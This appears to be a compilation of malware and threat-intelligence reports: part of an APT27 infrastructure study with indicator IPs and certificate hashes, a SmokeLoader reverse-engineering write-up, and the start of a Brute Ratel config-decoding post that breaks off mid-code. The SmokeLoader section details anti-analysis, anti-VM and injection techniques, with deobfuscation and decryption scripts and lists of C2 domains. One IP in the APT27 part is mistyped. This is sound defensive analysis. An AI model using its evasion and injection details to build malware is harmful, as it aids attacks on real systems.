2019-10 | | 47.52.39.167 | Alibaba, HK | 2019-10 | | 47.56.176.33 | Alibaba, HK | 2019-10 | **Table 5:** Host addresses observed serving second X.509 certificate. This new X.509 certificate uses an identical Subject (CN=domain.com, O=VPN) and Issuer (CN=VPN CA, O=Work) to those used by the previous certificate. This certificate is observed on hosts at a hosting provider (Alibaba) already known to be a favorite of this threat actor, which increases our confidence that this is the same threat actor group. The network behaviors of the hosts using this certificate show similarities to the hosts already established as part of the APT27 infrastructure. Several of the hosts showing the new X.509 certificate are seen making UDP port 443 connections to a management VPN node we see hosting the old X.509 certificate: 68.183.94.205. Taking into consideration everything we know at this point, we are able to create a view of the APT27 infrastructure in September 2019, which is shown in Figure 2. ## A SHIFT TOWARDS LINODE By September 2019, we noted that the actors were using Linode hosts for more of their infrastructure. While we had observed hosts within Linode being used by the actors before, in September there was a drastic change towards Linode. Given the introduction of substantial Linode infrastructure, we theorized at this point that the actors may have been shifting from preferring DigitalOcean to preferring Linode. We later see them using both Linode and DigitalOcean, changing our understanding of this initial move from a change in preference to a diversification of their cloud posture. ## LATE FALL 2019 With time, the patterns become more concrete and observations gain more confidence. Previously, we had noted TCP port 4550 traffic dropping to zero. TCP port 4550 activity was not observed throughout this reporting period (nor up to the time of writing this paper), and TCP port 55781 activity continued. The second X.509 certificate was seen on more hosts. We saw ten in total, four of which overlapped with hosts observed in previous periods, but we also noted that five previously observed hosts were no longer serving the second X.509 certificate. Only three previously observed hosts were seen using the first X.509 certificate. **Table 6:** X.509 certificates observable in November 2019. | IP address | ASN | X.509 | First Seen | Last Seen | |---------------------|------------------------------------------|-------|------------|-----------| | 68.183.94.205 | Digital Ocean, LLC, US | First | 2019-07 | 2019-11 | | 172.104.114.30 | Linode, LLC, US | First | 2019-07 | 2019-11 | | 139.162.46.15 | Linode, LLC, US | First | 2019-08 | 2019-11 | | 139.162.98.149 | Linode, LLC, JP | Second | 2019-09 | 2019-11 | | 47.56.19.60 | Alibaba, HK | Second | 2019-10 | 2019-11 | | 47.75.71.85 | Alibaba, HK | Second | 2019-10 | 2019-11 | | 47.244.200.103 | Alibaba, HK | Second | 2019-10 | 2019-11 | | 47.244.111.151 | Alibaba, HK | Second | 2019-10 | 2019-11 | | 47.52.116.124 | Alibaba, HK | Second | 2019-11 | 2019-11 | | 47.91.222.81 | Alibaba, HK | Second | 2019-11 | 2019-11 | | 47.75.13.135 | Alibaba, HK | Second | 2019-11 | 2019-11 | | 47.91.221.5 | Alibaba, HK | Second | 2019-11 | 2019-11 | Using the overlaps of tracking all the indicators we have thus far established on these actors, we are able to update our understanding of their network topology. ## AN ACTIVE DECEMBER 2019 December 2019 introduced some changes into the ongoing relationship between the threat actors and one of their victims. There was also a significant increase in activity in terms of infrastructure changes. Using the techniques we’ve been applying throughout this report, we are able to update our early December 2019 data points to create the following view of the infrastructure. At this point, we noted a pronounced shift in utility between DigitalOcean hosts and Linode hosts. In particular, DigitalOcean host 68.283.94.205, which was previously observed to be a significant operational node, diminished in use during this timeframe. We saw these functions shifting to Linode hosts 172.105.37.202 and 172.105.51.140. Linode appears to be the favored hosting provider, along with Alibaba, in December 2019. This data is compatible with our previous speculation of a shift to Linode and away from DigitalOcean. In early December 2019, we saw two hosts (both previously identified) serving the first X.509 certificate observed. For the second X.509 certificate observed, we saw 16 hosts. This was the highest count to date for hosts configured to serve these X.509 certificates. We also saw a host at Alibaba, 47.56.156.3, serving the second X.509 certificate observed via TCP port 8443. Until this point, we had not seen either certificate hosted on ports other than 443. This timeframe reveals an oddity. A private Canadian long-term care facility or nursing home was introduced into the infrastructure, not as a victim but rather was used by the threat actors as a VPN node. This was the first time we observed the introduction of a non-hosting provider system into the infrastructure. We noted what appeared to be web browsing compatible with target reconnaissance from this host. We believe this host was compromised, as our data shows the host to have been vulnerable. We are not certain why this host was incorporated into the infrastructure. One possibility is that the systems were provisioned by a different group within the APT27 actor hierarchy, and this system may have been put on the wrong list when handed to a team building out the next infrastructure. Alternatively, and more simply, it could have been added in an attempt to make their browsing stand out less for networks monitoring for user-like behaviors exhibited by data center hosts. ## AND NOW FOR SOMETHING COMPLETELY DIFFERENT Twitter has become a preferred platform for political messaging and sees increasing use by politicians to express all forms of announcements, sentiments, and policy altering decisions. Most tweets do not influence or change the course of most APT group activity. But some do. In Figure 5, we show a tweet from MJ Azari Jahromi, Iranian Minister of Communications and Technology. This tweet says that Iran has found ‘Foreign spying malware on their government servers,’ that the Ministry attributes to the ‘well-known APT27’. This tweet was posted on 15 December 2019. Sometimes, it is hard to know the impact of these sorts of announcements. But Internet-scale visibility allows us to analyze the changes in the actor infrastructure following this tweet. Within just two days of this tweet, by the end of 17 December 2019, we see substantial changes. 103.117.103.179 played a significant role in the actor infrastructure between September 2019 and December 2019 as a data exfiltration node, receiving TCP port 55781 connections from multiple controllers. It appears to be inactive after 17 December 2019. We do not see another host taking over the role of this host. It is possible that this infrastructure was retired in direct response to MJ Azari Jahromi’s tweet. After 17 December 2019, we see a very significant reduction in TCP port 443 traffic to Iranian-based victims. Notably, several controllers no longer communicate with Iranian-based victims. We observe a general reduction in management activity. Reductions in Iranian-based victim communications held through January 2020, with no data showing APT27 activity with Iranian government resources. Prior to this time, Iranian government resources were a significant target for these threat actors. ## AND SOMETHING ELSE COMPLETELY DIFFERENT Cyber field awareness involves full-scale awareness, understanding both attacker activity and resources as well as defender activity and resources. As we noted previously, we see what we believe to be a significant change in network activity around the same time as the tweet confirming some compromise of Iranian infrastructure. But was this reduction due to the threat actors changing their patterns of behavior or due to the defenders developing better detection or remediation techniques? HyperBro, as discussed here in more detail from the aeCERT report and the LuckyMouse paper, is the malware component of the actor infrastructure. The pattern of compromise is to use several different means to gain access to systems, followed by the installation of HyperBro (and/or the HyperSSL variant). These tools have known fingerprints, one of which is to create a mutex name by appending the string ‘Defender’ to the current account name on the Windows machine executing HyperBro, for example ‘JoeDefender’. In searching through our malware holdings to find HyperBro variant samples, we found a sample using the ‘Defender’ style name for a mutex that did not match other characteristics of HyperBro variants. It turns out that this sample is not a variant of HyperBro, and in fact shows authorship attribution to AFTA, the Iranian Cyber Security Agency. When sandboxing this application, we captured the start-up image which showed two logos side by side. We discovered that the logos are that of BitBaan, an Iranian cybersecurity company, and the AFTA logo. On researching this further, and looking into BitBaan, we noted that they describe themselves as the first Iranian startup focused on malware analysis. We also found a tweet where they talk about the creation of this tool. Our analysis shows this tool bundled with another application and instructions. The instructions discuss putting this tool on a network share, likely to facilitate cleaning up larger networks of compromised computers. Analyzing the tool itself, we note that it searches for infections via registry keys, running processes, and mutexes known to be associated with a likely variant of HyperBro. It then removes the infection by cleaning the registry key, removing the configured service, killing the svchost.exe process running the side-loaded DLL, and removing the files from the disk. The second application analyzes logs and creates summary information for review by incident responders or administrators. Most automation takes place because a reasonably large number of repetitions of the same activity need to be performed. We believe the existence of these automated removal tools, in conjunction with BitBaan and AFTA, indicates a significant number of compromises of Iranian infrastructure by the APT27 actors. This assessment is supported by our forensic analysis of network data. ## A NEW YEAR OF APT27 (JANUARY AND FEBRUARY 2020) The coming of the new year brings with it a change in infrastructure and targeting for the APT27 actors. The decrease in overall activity seen starting after the Iranian tweet continued through February 2020. Some older infrastructure was torn down, and with it, the use of the first X.509 certificate observed ceased. We have yet to see this first X.509 certificate in use again. We have been tracking victim connections since our first set of observations on APT27. Following the reduction in actor infrastructure and activity, the victim connections become more easily depicted in the infrastructure maps. The February infrastructure map shows a continuation of the trend of reduced activity following the MJ Azari Jahromi tweet. We do see some expansion of the total number of target countries starting in February, which may indicate a strategic decision to switch to alternate targets after being ousted by Iran. In February, the traffic to Iran (and most other targets) is more compatible with reconnaissance efforts than exploitation and data exfiltration. The actors continue to use 172.105.51.140 and 172.105.37.202 to manage their infrastructure. We continue to observe a shift away from DigitalOcean as a preferred hosting platform and continue to observe provisioning of new resources at Alibaba and Linode. We see two new probable controllers introduced during February, which may indicate positioning for a future return of activity. ## A NEW SPRING When tracking threats, and trying to obtain a state of cyber field awareness, spotting trends and changes in activity levels and patterns is essential to understanding the enemy. For the first couple of months in 2020, it appears that the APT27 actors were tactically retreating, withdrawing from a very aggressive position and engaging mostly in scouting new targets. However, this retreat changes in March. In March 2020, the APT27 actors were busy again. We see the introduction of seven new hosts serving the second X.509 certificate observed, with only three of the current hosts being observed prior to March hosting this certificate. These hosts were mostly at Linode, but now we see DigitalOcean hosts being provisioned again and a new hosting provider introduced (GCORE). We observed the actors using GCORE resources that GeoIP data places within Russia. We see a marked increase in the size of the active infrastructure starting in March 2020 that reverses the trend following the MJ Azari Jahromi tweet. Along with this increase, we also see a shift away from using 172.105.51.140 and 172.105.37.202 for management activities. The actors have also begun targeting Saudi Arabia to a much greater degree than previously observed. The shift to Saudi Arabia as a target began in February, but the sustained shift and traffic levels through March makes it clear that this shift is a prominent focus for the actors. ## ABOUT THE VICTIMS We do see many targets that we believe were compromised based on patterns of network connections (such as connections to controllers), data transfer, and longevity of the connections observable within available data. In some cases, though, we cannot establish with certainty that the targets were successfully compromised. We show a collective summary of victim demographics below where we have medium confidence the targets were successfully compromised. Knowing who malicious actors target, what assets they focus on, and how they obtain access to their victims is equally critical to knowing the enemy and is a critical component of comprehensive cyber field awareness. In the case of APT27, we see victims within the following countries: Afghanistan, Bangladesh, Brazil, Bulgaria, Canada, Egypt, Greece, India, Iran, Iraq, Israel, Italy, Kazakhstan, Kenya, Kuwait, Kyrgyzstan, North Macedonia, Malaysia, Nepal, Oman, Pakistan, Palestine, Qatar, Russia, Saudi Arabia, Slovenia, South Africa, South Korea, Taiwan, Tajikistan, Turkey, United Arab Emirates, United Kingdom, United States, Uzbekistan, Vietnam, Zimbabwe, and some international organizations. Our data shows an unbalanced distribution of interest in these targets, with Iran being heavily favored and Saudi Arabia a distant second. Analyzing the victims by industry sector gives us further insight into the threat actor behavior. ## CONCLUSION Julius Caesar famously said: ‘Veni! Vidi! Vici!’ – I came, I saw, I conquered. Today, network defenders are fighting a well-equipped and capable array of enemies. Yet the old wit of Julius Caesar’s simple three-word phrase is tied together by that one critical element that so many defenders forget: sight. The modern-day equivalent is cyber field awareness and those defenders who recognize the importance of knowing your enemy have a chance at success. After all, who knows what history may have been if Julius Caesar had left out the ‘vidi’. APT27 actors use a wide range of tools and infrastructure to enable their attacks, gaining access, persisting control, and exfiltration of data. We have shown a significant history of the last year of APT27 actor activity, which reflects an impressive infrastructure, a lot of successes in compromising targets, and several iterations of introducing and retiring assets. The APT27 actors were successful in many ways. They were able to run a fairly complex infrastructure, allowing for tunneled probing and reconnaissance. Many of their targets appear to have been successfully compromised, showing connections compatible with their malware reaching back to control servers. The tunnels show traffic in many cases, suggesting a possible exfiltration of data from their victim networks. They have a well-developed set of tools and skills, with an ability to support multiple ongoing attacks against many different countries at the same time. Yet they are not the only story here. APT27 was successful at obtaining and maintaining access to Iranian resources for many months. The Iranians, to their credit, detected this and came up with what may have been a successful mitigation process applied to multiple distinct agencies to clean up these intrusions. This activity appears to have slowed down the attacks of the APT27 actors for many weeks against all potential targets. Persistence wins the day, however, and the APT27 actors appear to be increasing activity in the latest iterations of data. The pandas seem to have bested the kittens in the summer and fall of 2019, but winter brought another story. The kittens detected the pandas and bested them in the winter. Spring brings more panda activity, showing a returned focus on the kittens, and time will tell how these two adversaries play together in the future. Some suggest that APT actor groups are sufficiently advanced that organizations stand little to no chance of being able to defend themselves. The ongoing, persistent, mission-driven attention and focus of these threat actors make defense against these threat actor groups very difficult. Continuous attack focus requires continuous defense focus. Many organizations simply lack this ability to maintain a high level of attention to detail, and the right details, to successfully defend against APT actors. Being aware of the global threat picture and obtaining that more complete cyber field awareness is more critical today than ever before. Actor groups are advanced, and they are persistent, but they are not invisible. Knowledge of the actor activity provides the necessary intelligence to tip the balance and give defenders a chance of defending against APT27 and all similarly positioned advanced threat actors. ## INDICATORS OF COMPROMISE ### X.509 certificates | Our name | SHA1 | |----------|------| | First X.509 certificate | 6B:10:79:40:80:A1:55:3A:08:76:76:09:5D:05:4F:16:08:94:A2:4B | | Second X.509 certificate | 43:CD:54:4A:01:8F:29:56:A3:3E:D6:55:1E:ED:85:DC:26:05:9D:62 | ### IP addresses These addresses were active in April 2020. | IP address | ASN | Type | First seen | Last seen | |---------------------|------------------------------------------|----------------------------------------|------------|-----------| | 47.56.147.0 | Alibaba, HK | VPN node second X.509 | 2020-01 | 2020-04 | | 47.56.149.171 | Alibaba, HK | VPN node second X.509 | 2020-01 | 2020-04 | | 128.199.206.160 | DigitalOcean, US | VPN node second X.509 | 2020-03 | 2020-04 | | 167.99.76.70 | DigitalOcean, US | VPN node second X.509 | 2020-03 | 2020-04 | | 172.104.87.64 | Linode, US | VPN node second X.509 | 2020-03 | 2020-04 | | 172.105.39.133 | Linode, US | VPN node second X.509 | 2020-03 | 2020-04 | | 172.105.48.29 | Linode, US | VPN node second X.509 | 2020-03 | 2020-04 | | 139.162.98.149 | Linode, US | VPN node second X.509 | 2019-09 | 2020-03 | | 47.56.153.203 | Alibaba, HK | VPN node second X.509 | 2020-03 | 2020-04 | | 66.175.218.50 | Linode, US | VPN node second X.509 | 2020-03 | 2020-04 | | 92.38.152.61 | G-Core Labs, RU | VPN node second X.509 | 2020-03 | 2020-04 | | 206.189.138.252 | DigitalOcean, US | VPN node second X.509 | 2020-04 | 2020-04 | | 47.56.90.121 | Alibaba, HK | VPN node second X.509 | 2020-04 | 2020-04 | | 47.57.121.137 | Alibaba, HK | VPN node second X.509 | 2020-04 | 2020-04 | | 47.57.145.146 | Alibaba, HK | VPN node second X.509 | 2020-04 | 2020-04 | | 47.57.87.112 | Alibaba, HK | VPN node second X.509 | 2020-04 | 2020-04 | | 178.128.165.84 | DigitalOcean, US | Malware controller | 2019-12 | 2020-04 | | 134.209.151.55 | DigitalOcean, US | Malware controller | 2020-03 | 2020-04 | | 47.56.254.96 | Alibaba, HK | Operational node | 2020-03 | 2020-04 |
# py.unidentified_002 There is no description at this point. ## References - 2020-03-09 ⋅ Malpedia There is no Yara-Signature yet.
# Deep Analysis of SmokeLoader SmokeLoader is a well-known bot that has been around since 2011. It’s mainly used to drop other malware families. SmokeLoader has been under development and is constantly changing with multiple novel features added throughout the years. **Sample SHA256:** fc20b03299b8ae91e72e104ee4f18e40125b2b061f1509d1c5b3f9fac3104934 ## Stage 1 This stage starts off by allocating memory for shellcode using `LocalAlloc()` (not `VirtualAlloc`), then it fills this memory with the shellcode (86 KB). Next, it changes the protection of the allocated memory region to `PAGE_EXECUTE_READWRITE` using `VirtualProtect()`, then it writes the shellcode and executes it. ### Shellcode The shellcode starts by getting the addresses of `LoadLibraryA` and `GetProcAddress` to resolve APIs dynamically. First, it passes some hash values to a sub-routine that returns the address of the requested function. ```c int calc_hash(char* name) { int x, hash = 0; for(int i=0; i<strlen(name); i++) { x = name[i] | 0x60; hash = 2 * (x + hash); } return hash; } ``` The shellcode uses PEB traversal technique for finding a function. The Process Environment Block (PEB) is a user-mode data structure that can be used by applications (and by extension by malware) to get information such as the list of loaded modules, process startup arguments, heap address among other useful capabilities. The shellcode traverses the PEB structure at `FS[:30]` and iterates through loaded modules to search for the requested module (kernel32 in this case). It hashes the name of each module using the algorithm above and compares it with the supplied hash. Next, it iterates over the export table of the module to find the requested function, similar to the previous step. The next step is to resolve APIs using `LoadLibraryA` and `GetProcAddress`, the shellcode uses stack strings to complicate the analysis. ### Here is the list of imported functions: **ntdll.dll** - NtUnmapViewOfSection - NtWriteVirtualMemory **kernel32.dll** - CloseHandle - CreateFileA - CreateProcessA - ExitProcess - GetCommandLineA - GetFileAttributesA - GetModuleFileNameA - GetStartupInfoA - GetThreadContext - ReadProcessMemory - ResumeThread - SetThreadContext - VirtualAlloc - VirtualAllocEx - VirtualFree - VirtualProtectEx - WaitForSingleObject - WinExec - WriteFile - WriteProcessMemory **user32.dll** - CreateWindowExA - DefWindowProcA - GetMessageA - GetMessageExtraInfo - MessageBoxA - PostMessageA - RegisterClassExA ## Process Hollowing The shellcode creates a new process of SmokeLoader in a suspended state. Next, it hollows out the memory at `0x400000` using `ZwUnmapViewOfSection()` and then allocates it again using `VirtualAllocEx()` with RWX permissions. Finally, it writes the next stage executable to the allocated memory region using two calls to `ZwWriteVirtualMemory()`, the first one to write the MZ header and the other for the rest of the executable. ## Stage 2 After dumping the second stage from memory, I got a warm welcome from SmokeLoader. This stage is full of anti-analysis tricks, so let’s dive in. ### Opaque Predicates The first anti-analysis trick is Opaque Predicates, a commonly used technique in program obfuscation, intended to add complexity to the control flow. This obfuscation simply takes an absolute jump (JMP) and transforms it into two conditional jumps (JZ/JNZ). Depending on the value of the Zero flag (ZF), the execution will follow the first or second branch. However, disassemblers are tricked into thinking that there is a fall-through branch if the second jump is not taken (which is impossible as one of them must be taken) and tries to disassemble the unreachable instructions (often invalid) resulting in garbage code. The deobfuscation is simple; we just need to patch the first conditional jump to an absolute jump and nop out the second jump. ```python import idc ea = 0 while True: ea = min(idc.find_binary(ea, idc.SEARCH_NEXT | idc.SEARCH_DOWN, "74 ? 75 ?"), # JZ / JNZ idc.find_binary(ea, idc.SEARCH_NEXT | idc.SEARCH_DOWN, "75 ? 74 ?")) # JNZ / JZ if ea == idc.BADADDR: break idc.patch_byte(ea, 0xEB) # JMP idc.patch_byte(ea+2, 0x90) # NOP idc.patch_byte(ea+3, 0x90) # NOP ``` ### Anti Debugging This stage first checks `OSMajorVersion` at `PEB[0xA4]` if it’s greater than 6 (Windows Vista and higher), it’s also reading `BeingDebugged` at `PEB[0x2]` to check for attached debuggers. What’s interesting here is that these checks are used to calculate the return address. If the `OSMajorVersion` is less than 6 or there’s an attached debugger, it will jump to an invalid memory location. Another neat trick is that instead of using direct jumps, the code pushes the jump address stored at `eax` into the stack then returns to it. ### Encrypted Functions Most of the functions are encrypted. After deobfuscating the opaque predicates, I found the encryption function which is pretty simple. The function takes an offset and a size, it XORs the chunk at that offset with a single byte (0xA6). ```python import idc import idautils def xor_chunk(offset, n): ea = 0x400000 + offset for i in range(n): byte = ord(idc.get_bytes(ea+i, 1)) byte ^= 0xA6 idc.patch_byte(ea+i, byte) xor_chunk_addr = 0x401294 # address of the xoring function for xref in idautils.CodeRefsTo(xor_chunk_addr, 0): mov_addr = list(idautils.CodeRefsTo(xref, 0))[0] - 5 n = idc.get_operand_value(mov_addr, 1) offset = (xref + 5) - 0x400000 xor_chunk(offset, n) ``` After the decryption, one thing to note here, SmokeLoader tries to keep as many encrypted code as possible. So once it’s done with the decrypted functions, it encrypts it again. ### Anti Hooking Many Sandboxes and Security Solutions hook user-land functions of `ntdll.dll` to trace system calls. SmokeLoader tries to evade this by using its own copy of `ntdll.dll`. It copies `ntdll.dll` to `%TEMP%\<hardcoded_name>.tmp` then loads it using `LdrLoadDll()` and resolves its imports from it. ### Custom Imports SmokeLoader stores a hash table of its imports, it uses the same PEB traversal technique explained earlier to walk through the DLLs’ export table and compare the hash of each API name with the stored hashes. The hashing function is an implementation of `djb2` hashing algorithms: ```c int calc_hash(char *api_name) { int hash=0x1505; for(int i=0; i<=strlen(api_name); i++) // null byte included hash = ((hash << 5) + hash) + api_name[i]; return hash; } ``` ### Here is a list of imported functions and their corresponding hashes: **ntdll.dll** - LdrLoadDll (0x64033f83) - NtClose (0xfd507add) - NtTerminateProcess (0xf779110f) - RtlInitUnicodeString (0x60a350a9) - RtlMoveMemory (0x845136e7) - RtlZeroMemory (0x8a3d4cb0) **kernel32.dll** - CopyFileW (0x306cceb7) - CreateEventW (0xfd4027f2) - CreateFileMappingW (0x5b3f901c) - CreateThread (0x60277e71) - DeleteFileW (0xb7e96d0f) - ExpandEnvironmentStringsW (0x057074bb) - GetModuleFileNameA (0x8acccaed) - GetModuleFileNameW (0x8acccdc3) - GetModuleHandleA (0x9cbd2a58) - GetSystemDirectoryA (0xaebc5060) - GetTempFileNameW (0x9a376a33) - GetTempPathW (0x7e28b9df) - GetVolumeInformationA (0xf25ce6a4) - LocalAlloc (0xeda647bb) - LocalFree (0x742c61b2) - MapViewOfFile (0x4db4c713) - Sleep (0xd156a5be) - WaitForSingleObject (0x8681d8fa) - lstrcatW (0x2ab51a99) - lstrcmpA (0x2abb9b4b) **user32.dll** - EnumChildWindows (0x9a8897c9) - EnumPropsA (0x8f0f57cf) - GetForegroundWindow (0x5a6c9878) - GetKeyboardLayoutList (0x04e9de30) - GetShellWindow (0xd454e895) - GetWindowThreadProcessId (0x576a5801) - SendMessageA (0x41ecd315) - SendNotifyMessageA (0xc6123bae) - SetPropA (0x90bc10d3) - wsprintfW (0x0bafd3f9) **advapi32.dll** - GetTokenInformation (0x696464ac) - OpenProcessToken (0x74f5e377) **shell32.dll** - ShellExecuteExW (0xf8e40384) ### And here is the list of the imported functions from the copied ntdll (for anti-hooking): **4DD3.tmp** - NtAllocateVirtualMemory (0x5a0c2ccc) - NtCreateSection (0xd5f23ad0) - NtEnumerateKey (0xb6306996) - NtFreeVirtualMemory (0x2a6fa509) - NtMapViewOfSection (0x870246aa) - NtOpenKey (0xc29efe42) - NtOpenProcess (0x507bcb58) - NtQueryInformationProcess (0xd6d488a2) - NtQueryKey (0xa9475346) - NtQuerySystemInformation (0xb83de8a8) - NtUnmapViewOfSection (0x8352aa4d) - NtWriteVirtualMemory (0x546899d2) - RtlDecompressBuffer (0xdeb36606) - towlower (0xf7660ba8) - wcsstr (0xbb629f0b) ### Anti VM SmokeLoader enumerates all the subkeys of these keys: - System\CurrentControlSet\Enum\IDE - System\CurrentControlSet\Enum\SCSI Then it transforms them into lowercase and searches for these strings in the enumerated keys names: - qemu - virtio - vmware - vbox - xen If one of them is found, the binary exits. ## Process Injection SmokeLoader uses PROPagate injection method to inject the next stage into `explorer.exe`. First it decompresses the next stage using `RtlDecompressBuffer()`. Then there is a call to `NtOpenProcess()` to open `explorer.exe` for the injection. The injection process starts by creating two shared sections between the current process and explorer process (one section for the modified property and the other for the next stage’s code), then SmokeLoader maps the created sections to the current process and explorer process memory space (so any changes in the sections will be reflected in explorer process). Note that both sections have "RWX" protection which might raise some red flags by security solutions. SmokeLoader then writes the next stage to one of the sections and the modified property (which will call the next stage’s code) to the other section. Finally, it sets the modified property using `SetPropA()` and sends a message to explorer window using `SendNotifyMessageA()`, this will result in the injected code being executed in the context of `explorer.exe`. ## Stage 3 This is the final stage of SmokeLoader, it starts by doing some anti-analysis checks. ### Checking Running Processes This stage loops through the running processes, it calculates each process name’s hash and compares it against some hardcoded hashes. Here is the algorithm for calculating the hash of a process name: ```c uint ROL(uint x, uint bits) { return x<<bits | x>>(32-bits); } int calc_hash(char *proc_name) { int hash = 0; for(int i=0; i<strlen(proc_name); i++) hash = (proc_name[i] & 0xDF) + ROL(hash ^ (proc_name[i] & 0xDF), 8); return hash ^ 0xD781F33C; } ``` A quick guess and I could get the processes names: - 0xD384255C → Autoruns.exe - 0x76BDCBAB → procexp.exe - 0xA159E6BE → procexp64.exe - 0x7E9CCCA5 → procmon.exe - 0xA24B8E63 → procmon64.exe - 0x63B3D1A4 → Tcpview.exe - 0xA28974F3 → Wireshark.exe - 0xA9B5F897 → ProcessHacker.exe - 0x6893EBAB → ollydbg.exe - 0xF5FD94B7 → x32dbg.exe - 0xCBFD99B0 → x64dbg.exe - 0x8993DEE5 → idaq.exe - 0x8993D8CF → idaw.exe - 0x8C083960 → idaq64.exe - 0xB6223960 → idaw64.exe If one of these processes is found to be running, `explorer.exe` will exit. ### Encrypted Strings All strings of this stage are encrypted using RC4 and they are decrypted on demand. The RC4 key = `0xFA5F66D7`. The encrypted strings are stored continuously in a big blob in this form: ```go package main import ( "fmt" "io/ioutil" "encoding/hex" "crypto/rc4" ) var RC4_KEY, _ = hex.DecodeString("FA5F66D7") func rc4_decrypt(data []byte) { cipher, _ := rc4.NewCipher(RC4_KEY) cipher.XORKeyStream(data, data) fmt.Printf("%s\n", data) } func main() { data, _ := ioutil.ReadFile("dump") for i := 0; i < len(data); { n := int(data[i]) rc4_decrypt(data[i+1:i+n+1]) i += n+1 } } ``` ### Here is the decrypted strings: - Software\Microsoft\Internet Explorer - advapi32.dll - Location: - plugin_size - \explorer.exe - user32 - advapi32 - urlmon - ole32 - winhttp - ws2_32 - dnsapi - svcVersion - Version ### Encrypted C2 Domains The C2 domains are encrypted using simple XOR operations. They are stored in this form: ```python def decrypt_c2(enc, key): enc, key = bytes.fromhex(enc), bytes.fromhex(key) dec = "" for c in enc: for i in key: c = c ^ i dec += chr(c ^ 0xE4) print(dec) # decrypt_c2("E7FBFBFFB5A0A0E2E0FCFBEAFCFBA2FCEAFDF9E6ECEABFBEBDBABFBAA1FDFAA0", "EFC11A5F") ``` ### C2 Communications SmokeLoader sleeps for 10 seconds (1000*10) before connecting to the Internet. First it queries `http://www.msftncsi.com/ncsi.txt` (This URL is usually queried by Windows to determine if the computer is connected to the Internet). If there’s no response, it sleeps for 64 ms and queries it again until it receives a response. Then SmokeLoader sends a POST request to the C2 server. The payload is encrypted using RC4 before sending it. The POST request returns a "404 Not Found" response but it contains a payload in the response body. Unfortunately, most of the C2 domains are down so I couldn’t proceed with the analysis, but I think that’s enough with SmokeLoader. ## IOCs **Hashes** - SmokeLoader: fc20b03299b8ae91e72e104ee4f18e40125b2b061f1509d1c5b3f9fac3104934 **Files** - %TEMP%\4dd3.dll **C2 Domains** - alltest-service012505[.]ru - besttest-service012505[.]ru - biotest-service012505[.]ru - clubtest-service012505[.]ru - domtest-service012505[.]ru - infotest-service012505[.]ru - kupitest-service012505[.]ru - megatest-service012505[.]ru - mirtest-service012505[.]ru - mostest-service012505[.]ru - mytest-service01242505[.]ru - mytest-service012505[.]ru - newtest-service012505[.]ru - proftest-service012505[.]ru - protest-01242505[.]tk - protest-01252505[.]ml - protest-01262505[.]ga - protest-01272505[.]cf - protest-01282505[.]gq - protest-01292505[.]com - protest-01302505[.]net - protest-01312505[.]org - protest-01322505[.]biz - protest-01332505[.]info - protest-01342505[.]eu - protest-01352505[.]nl - protest-01362505[.]mobi - protest-01372505[.]name - protest-01382505[.]me - protest-01392505[.]garden - protest-01402505[.]art - protest-01412505[.]band - protest-01422505[.]bargains - protest-01432505[.]bet - protest-01442505[.]blue - protest-01452505[.]business - protest-01462505[.]casa - protest-01472505[.]city - protest-01482505[.]click - protest-01492505[.]company - protest-01502505[.]futbol - protest-01512505[.]gallery - protest-01522505[.]game - protest-01532505[.]games - protest-01542505[.]graphics - protest-01552505[.]group - protest-02252505[.]ml - protest-02262505[.]ga - protest-02272505[.]cf - protest-02282505[.]gq - protest-03252505[.]ml - protest-03262505[.]ga - protest-03272505[.]cf - protest-03282505[.]gq - protest-05242505[.]tk - protest-06242505[.]tk - protest-service01242505[.]ru - protest-service012505[.]ru - rustest-service012505[.]ru - rutest-service01242505[.]ru - rutest-service012505[.]ru - shoptest-service012505[.]ru - supertest-service012505[.]ru - test-service01242505[.]ru - test-service012505[.]com - test-service012505[.]eu - test-service012505[.]fun - test-service012505[.]host - test-service012505[.]info - test-service012505[.]net - test-service012505[.]net2505[.]ru - test-service012505[.]online - test-service012505[.]org2505[.]ru - test-service012505[.]pp2505[.]ru - test-service012505[.]press - test-service012505[.]pro - test-service012505[.]pw - test-service012505[.]ru[.]com - test-service012505[.]site - test-service012505[.]space - test-service012505[.]store - test-service012505[.]su - test-service012505[.]tech - test-service012505[.]website - test-service012505[.]xyz - test-service01blog2505[.]ru - test-service01club2505[.]ru - test-service01forum2505[.]ru - test-service01info2505[.]ru - test-service01land2505[.]ru - test-service01life2505[.]ru - test-service01plus2505[.]ru - test-service01pro2505[.]ru - test-service01rus2505[.]ru - test-service01shop2505[.]ru - test-service01stroy2505[.]ru - test-service01torg2505[.]ru - toptest-service012505[.]ru - vsetest-service012505[.]ru
# Brute Ratel Config Decoding Update By: Jason Reaves October 25, 2022 There have been a few reports on how to decrypt Brute Ratel's configuration data along with a few decryptors created. However, the developer added in the release notes that they changed it to be a dynamic key instead of the hardcoded key everyone refers to. The hardcoded key is still used and exists for decrypting some of the strings on board. We start with a sample from a TrendMicro report on BlackBasta actors leveraging QBot to deliver Brute Ratel and CobaltStrike: ``` 62cb24967c6ce18d35d2a23ebed4217889d796cf7799d9075c1aa7752b8d3967 ``` The shellcode-based loader is stored onboard and is loaded into memory. The shellcode stager uses a few Anti Debugging checks such as checking the NtGlobalFlag. The encoded onboard DLL is still stored RC4 encrypted as mentioned in the MDSec blog; the key is the last 8 bytes: ```python data[-8:] '*%@{.de|' rc4 = ARC4.new(data[-8:]) t = rc4.decrypt(data) ``` As we previously mentioned, the RC4 key for the config is no longer the hardcoded value in the DLL. Instead, it is now the last 8 bytes from the decoded DLL blob: ```python a = base64.b64decode('FE2frlPu/3cYTkUYWP9aoUwTUKZ778EWaz5b2nzDTz2OAR2qI5Jvqozn6a2BTADp7kUT') rc4 = ARC4.new('\x24\x7b\x29\x75\x5e\x2f\x2e\x70') rc4.decrypt(a) ``` So, if we wanted to automate, we need to account for two methods I’ve seen being used for loading the config and DLL data by the shellcode layer. ## Call Over Method The call over method calls over the relevant data causing its address to be pushed onto the stack: ```python cfg_off = blob.find('\x5a\xe8\x00\x00\x00\x00\x59\x48\x01\xd1\x48\x83\xc1\x0a\xff\xd1') cfg_len = struct.unpack_from('<I', blob[cfg_off-4:])[0] cfg_off += 16 cfg = blob[cfg_off:cfg_off+cfg_len] ``` For finding the data in this scenario, we use a similar approach by just finding the call instruction sequence and pulling out the length while we are there: ```python if cfg != '': # Few ways to find the end # way1 off1 = blob.find('\x41\x59\xe8\x00\x00\x00\x00\x41\x58') l = struct.unpack_from('<I', blob[off1-4:])[0] bb = blob[off1+19:] bb = bb[:l] ``` Decoding the config involves first decrypting the DLL and recovering the key: ```python rc4 = ARC4.new(bb[-8:]) decoded = rc4.decrypt(bb[:-8]) 